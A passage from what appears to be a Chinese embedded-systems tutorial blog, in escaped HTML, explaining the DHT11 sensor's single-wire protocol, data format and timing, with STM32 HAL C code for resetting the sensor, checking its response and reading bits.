里的函数说明学习。\u003c/p\u003e\u003cp\u003e为了分开gb2312与utf-8,我将显示中文的地方全部写在了一个文件里,我在 \u003ccode\u003emain.c\u003c/code\u003e 用到的时候直接调用。\u003c/p\u003e\u003ch3 id=\"驱动DHT11温湿度传感器(单总线协议的学习)\"\u003e\u003ca href=\"#驱动DHT11温湿度传感器(单总线协议的学习)\" class=\"headerlink\" title=\"驱动DHT11温湿度传感器(单总线协议的学习)\"\u003e\u003c/a\u003e驱动DHT11温湿度传感器(\u003cstrong\u003e单总线协议的学习\u003c/strong\u003e)\u003c/h3\u003e\u003cp\u003e)当时大二赶广和通项目的时候用的是 \u003ccode\u003eDS18B20\u003c/code\u003e 来着,是个单总线协议的温度传感器,网上找了段代码糊了一个,这次用 \u003ccode\u003eDHT11\u003c/code\u003e 学习学习单总线协议。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eDHT11 是一款湿温度一体化的数字传感器。该传感器包括一个电阻式测湿元件和一个 NTC\u003cbr\u003e测温元件,并与一个高性能 8 位单片机相连接。通过单片机等微处理器简单的电路连接就能够\u003cbr\u003e实时的采集本地湿度和温度。DHT11 与单片机之间能采用简单的单总线进行通信,仅仅需要一\u003cbr\u003e个 I\u0026#x2F;O 口。传感器内部湿度和温度数据 40Bit 的数据一次性传给单片机,数据采用校验和方式\u003cbr\u003e进行校验,有效的保证数据传输的准确性。DHT11 功耗很低,5V 电源电压下,工作平均最大\u003cbr\u003e电流 0.5mA。DHT11 的技术参数:工作电压范围:3.3V-5.5V;工作电流 :平均 0.5mA;输出:单总线数字信号;测量范围:湿度 20\u003cdel\u003e90%RH,温度 0\u003c/del\u003e50℃;精度 :湿度±5%,温度±2℃;分辨率 :湿度 1%,温度 1℃;\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"DHT11-数据传输格式\"\u003e\u003ca href=\"#DHT11-数据传输格式\" class=\"headerlink\" title=\"DHT11 数据传输格式\"\u003e\u003c/a\u003eDHT11 数据传输格式\u003c/h4\u003e\u003cp\u003eDHT11 数字湿温度传感器采用单总线数据格式。即,单个数据引脚端口完成输入输出双向传输。其数据包由 40Bit 组成。数据分小数部分和整数部分,一次完整的数据传输为40bit,高位先出。\u003c/p\u003e\u003cp\u003eDHT11 的数据格式为:\u003cstrong\u003e8bit 湿度整数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 湿度小数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 温度整数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 温度小数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 校验和\u003c/strong\u003e。其中校验和数据为前四个字节相加。\u003cbr\u003e传感器数据输出的是未编码的二进制数据。数据(湿度、温度、整数、小数)之间应该分开处理。例如,某次从 DHT11 读到的数据如下表所示:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003ebyte4\u003c/th\u003e\u003cth\u003ebyte3\u003c/th\u003e\u003cth\u003ebyte2\u003c/th\u003e\u003cth\u003ebyte1\u003c/th\u003e\u003cth\u003ebyte0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0010 1101\u003c/td\u003e\u003ctd\u003e0000 0000\u003c/td\u003e\u003ctd\u003e0001 1100\u003c/td\u003e\u003ctd\u003e0000 0000\u003c/td\u003e\u003ctd\u003e0100 1001\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e湿度 \u003cstrong\u003e整数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e湿度 \u003cstrong\u003e小数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e温度 \u003cstrong\u003e整数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e温度 \u003cstrong\u003e小数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e校验和\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e由以上数据就可得到湿度和温度的值,计算方法:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e湿度\u0026#x3D; byte4 . byte3\u0026#x3D;45.0 (%RH)\u003cbr\u003e温度\u0026#x3D; byte2 . byte1\u0026#x3D;28.0 ( ℃)\u003cbr\u003e校验\u0026#x3D; byte4+ byte3+ byte2+ byte1\u0026#x3D;73(\u0026#x3D;湿度+温度)(校验正确)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eDHT11 的数据格式是十分简单,DHT11 和 MCU 的一次通信最大为 3ms 左右,建议主机连续读取时间间隔不要小于 100ms。 下面,我们介绍一下 DHT11 的传输时序。\u003c/p\u003e\u003ch4 id=\"提前准备\"\u003e\u003ca href=\"#提前准备\" class=\"headerlink\" title=\"提前准备\"\u003e\u003c/a\u003e提前准备\u003c/h4\u003e\u003cp\u003e本次使用数据传输脚:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 数据传输脚 PA12\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eDHT11_DQ_OUT\u003c/span\u003e \u003cspan class=\"token expression\"\u003eGPIO_PIN_12\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e设置数据传输脚为输出:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_IO_OUT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e GPIO_InitTypeDef GPIO_InitStruct \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePin \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eMode \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_MODE_OUTPUT_PP\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePull \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_NOPULL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eSpeed \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_SPEED_FREQ_LOW\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e设置数据传输脚为输入:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_IO_IN\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e GPIO_InitTypeDef GPIO_InitStruct \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePin \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eMode \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_MODE_INPUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePull \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_PULLUP\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_GPIO_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"DHT11-的数据发送流程\"\u003e\u003ca href=\"#DHT11-的数据发送流程\" class=\"headerlink\" title=\"DHT11 的数据发送流程\"\u003e\u003c/a\u003eDHT11 的数据发送流程\u003c/h4\u003e\u003cp\u003eDHT11 的数据发送流程如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-1.png\" alt=\"DHT11 的数据发送流程\"\u003e\u003c/p\u003e\u003ch5 id=\"开始信号\"\u003e\u003ca href=\"#开始信号\" class=\"headerlink\" title=\"开始信号\"\u003e\u003c/a\u003e开始信号\u003c/h5\u003e\u003cp\u003e首先主机发送 \u003cstrong\u003e开始信号\u003c/strong\u003e,即:拉低数据线,保持 t1(至少 18ms)时间,然后 \u003cstrong\u003e拉高数据线\u003c/strong\u003e t2(20~ 40us)时间,然后读取 DHT11 的响应。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-2.png\" alt=\"DHT11 开始信号\"\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e复位DHT11\u003c/strong\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-C\" data-language=\"C\"\u003e\u003ccode class=\"language-C\"\u003evoid DHT11_Rst(void) \u0026#123; DHT11_IO_OUT(); \u0026#x2F;\u0026#x2F;SET OUTPUT HAL_GPIO_WritePin(GPIOA, DHT11_DQ_OUT, GPIO_PIN_RESET); delay_ms(20); \u0026#x2F;\u0026#x2F;拉低至少18ms HAL_GPIO_WritePin(GPIOA, DHT11_DQ_OUT, GPIO_PIN_SET); delay_us(30); \u0026#x2F;\u0026#x2F;主机拉高20~40us\u0026#125;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"响应信号\"\u003e\u003ca href=\"#响应信号\" class=\"headerlink\" title=\"响应信号\"\u003e\u003c/a\u003e响应信号\u003c/h5\u003e\u003cp\u003eDHT11的 \u003cstrong\u003e响应\u003c/strong\u003e :正常的话,DHT11 会 \u003cstrong\u003e拉低\u003c/strong\u003e 数据线,保持 t3(40~50us)时间,作为响应信号,然后 DHT11 \u003cstrong\u003e拉高\u003c/strong\u003e 数据线,保持 t4(40 ~50us)时间后,开始输出数据。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-3.png\" alt=\"DHT11 开始信号\"\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e检测DHT11的回应\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回1:未检测到DHT11的存在\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//返回0:存在\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Check\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_IO_IN\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//SET INPUT\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//DHT11会拉低40~80us\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//DHT11拉低后会再次拉高40~80us\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"DHT11-发送数据\"\u003e\u003ca href=\"#DHT11-发送数据\" class=\"headerlink\" title=\"DHT11 发送数据\"\u003e\u003c/a\u003eDHT11 发送数据\u003c/h5\u003e\u003cp\u003e总线为低电平,说明DHT11发送响应信号,DHT11发送响应信号后,再把总线拉高80us,准备发送数据。\u003c/p\u003e\u003cp\u003e每一bit数据都以50us低电平时隙 \u003cstrong\u003e开始\u003c/strong\u003e ,\u003cstrong\u003e高电平的长短\u003c/strong\u003e 定了数据位是0还是1。\u003c/p\u003e\u003cp\u003e如果读取响应信号为高电平,则DHT11没有响应,请检查线路是否连接正常。当最后一bit数据传送完毕后,DHT11拉低总线50us,随后总线由上拉电阻拉高进入空闲状态。\u003c/p\u003e\u003ch5 id=\"DHT11-发送-0\"\u003e\u003ca href=\"#DHT11-发送-0\" class=\"headerlink\" title=\"DHT11 发送 0\"\u003e\u003c/a\u003eDHT11 发送 0\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e高电平是26-28us就表示0。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-4.png\" alt=\"DHT11 发送0\"\u003e\u003c/p\u003e\u003ch5 id=\"DHT11-发送1\"\u003e\u003ca href=\"#DHT11-发送1\" class=\"headerlink\" title=\"DHT11 发送1\"\u003e\u003c/a\u003eDHT11 发送1\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e高电平是70us表示1。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-5.png\" alt=\"DHT11 发送0\"\u003e\u003c/p\u003e\u003ch5 id=\"接收数据\"\u003e\u003ca href=\"#接收数据\" class=\"headerlink\" title=\"接收数据\"\u003e\u003c/a\u003e接收数据\u003c/h5\u003e\u003cp\u003e主机只要读取等待50us低电平过去,然后再判断高电平长短就能收集数据了。\u003c/p\u003e\u003cp\u003e从DHT11读取一个位:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回值:1/0\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Bit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待变为低电平\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待变高电平\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待40us\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e读取8次为一个字节:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" 